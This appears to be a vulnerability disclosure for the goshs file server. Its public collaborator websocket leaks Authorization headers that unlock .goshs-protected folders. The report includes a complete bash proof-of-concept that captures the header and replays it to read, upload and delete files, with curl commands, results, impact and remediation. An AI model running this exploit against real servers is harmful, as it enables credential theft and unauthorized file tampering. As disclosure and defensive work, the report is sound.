goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt

/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096

Terminal 2

node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE

Terminal 3

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'

Two terminal commands I ran during local validation:

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt

Observed results from manual verification:

• the anonymous request returned 401
• the victim request returned very secret
• the replayed leaked header also returned very secret
• the replayed PUT returned 200
• the replayed ?delete returned 200
• the public websocket showed Authorization":"Basic YWRtaW46YWRtaW4="

PoC Video 1:

https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'

Observed script result:

• Captured header: Basic YWRtaW46YWRtaW4=
• Anonymous GET status: 401
• Replayed-header GET body: very secret
• Replayed-header PUT status: 200
• Replayed-header delete status: 200
• [RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree

PoC Video 2:

https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472

gosh_poc4 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'
BIN='/tmp/goshs_beta5_collab_leak'
PORT='18096'
WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
WS_LOG="$WORKDIR/ws.log"
GOSHS_PID=""
WATCH_PID=""

cleanup() {
  if [[ -n "${WATCH_PID:-}" ]]; then
    kill "${WATCH_PID}" >/dev/null 2>&1 || true
    wait "${WATCH_PID}" 2>/dev/null || true
  fi
  if [[ -n "${GOSHS_PID:-}" ]]; then
    kill "${GOSHS_PID}" >/dev/null 2>&1 || true
    wait "${GOSHS_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

mkdir -p "${ROOT}/ACLAuth"
cp "${FIXTURE}" "${ROOT}/ACLAuth/.goshs"
printf 'very secret\n' > "${ROOT}/ACLAuth/secret.txt"

echo "[1/6] Building goshs beta.5"
(cd "${REPO}" && go build -o "${BIN}" ./)

echo "[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}"
"${BIN}" -d "${ROOT}" -p "${PORT}" >"${WORKDIR}/goshs.log" 2>&1 &
GOSHS_PID=$!

for _ in $(seq 1 40); do
  if curl -s "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
    break
  fi
  sleep 0.25
done

echo "[3/6] Opening an unauthenticated websocket observer"
node - <<'NODE' >"${WS_LOG}" &
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onopen = () => console.log('OPEN');
ws.onmessage = (ev) => {
  const msg = ev.data.toString();
  console.log(msg);
  if (msg.includes('Authorization')) process.exit(0);
};
setTimeout(() => process.exit(0), 10000);
NODE
WATCH_PID=$!

echo "[4/6] Simulating a victim request with folder credentials"
curl -s -u admin:admin "http://127.0.0.1:${PORT}/ACLAuth/secret.txt" >/dev/null
wait "${WATCH_PID}" || true
WATCH_PID=""

LEAKED_HEADER="$(python3 - "${WS_LOG}" <<'PY'
import pathlib
import re
import sys

text = pathlib.Path(sys.argv[1]).read_text()
m = re.search(r'Basic [A-Za-z0-9+/=]+', text)
print(m.group(0) if m else '')
PY
)"

if [[ -z "${LEAKED_HEADER}" ]]; then
  echo "[ERROR] No leaked Authorization header was captured." >&2
  echo "[DEBUG] Websocket output:" >&2
  cat "${WS_LOG}" >&2
  exit 1
fi

echo "[5/6] Replaying the leaked header as the attacker"
UNAUTH_CODE="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
READ_BACK="$(curl -s -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
PUT_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" -X PUT --data-binary 'owned' "http://127.0.0.1:${PORT}/ACLAuth/pwn.txt")"
DELETE_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete")"

if [[ "${UNAUTH_CODE}" != "401" ]]; then
  echo "[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}." >&2
  exit 1
fi

if [[ "${READ_BACK}" != "very secret" ]]; then
  echo "[ERROR] Replayed header did not unlock the protected file." >&2
  exit 1
fi

if [[ "${PUT_CODE}" != "200" ]]; then
  echo "[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}." >&2
  exit 1
fi

if [[ "${DELETE_CODE}" != "200" ]]; then
  echo "[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}." >&2
  exit 1
fi

if [[ ! -f "${ROOT}/ACLAuth/pwn.txt" ]]; then
  echo "[ERROR] PUT did not create pwn.txt." >&2
  exit 1
fi

if [[ -f "${ROOT}/ACLAuth/secret.txt" ]]; then
  echo "[ERROR] Delete did not remove secret.txt." >&2
  exit 1
fi

echo "[6/6] Results"
echo "Captured header: ${LEAKED_HEADER}"
echo "Anonymous GET status: ${UNAUTH_CODE}"
echo "Replayed-header GET body: ${READ_BACK}"
echo "Replayed-header PUT status: ${PUT_CODE}"
echo "Replayed-header delete status: ${DELETE_CODE}"
echo "[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree"

Impact

This issue is a sensitive information disclosure that becomes an authentication bypass against .goshs-protected content. Any unauthenticated observer who can access the public collaborator websocket can steal folder-level basic-auth credentials from a victim request and immediately reuse them to read, upload, overwrite, or delete files inside the protected subtree. Deployments that rely on public goshs access with selective .goshs-protected subfolders are directly exposed.

Remediation

Suggested fixes:

1. Never store or broadcast sensitive headers such as Authorization, Cookie, or Proxy-Authorization in collaborator events.
2. Move collaborator logging until after access-control checks, and log only minimal metadata instead of raw headers and bodies.
3. Protect the collaborator websocket and panel with the same or stronger authentication boundary as the resources being observed.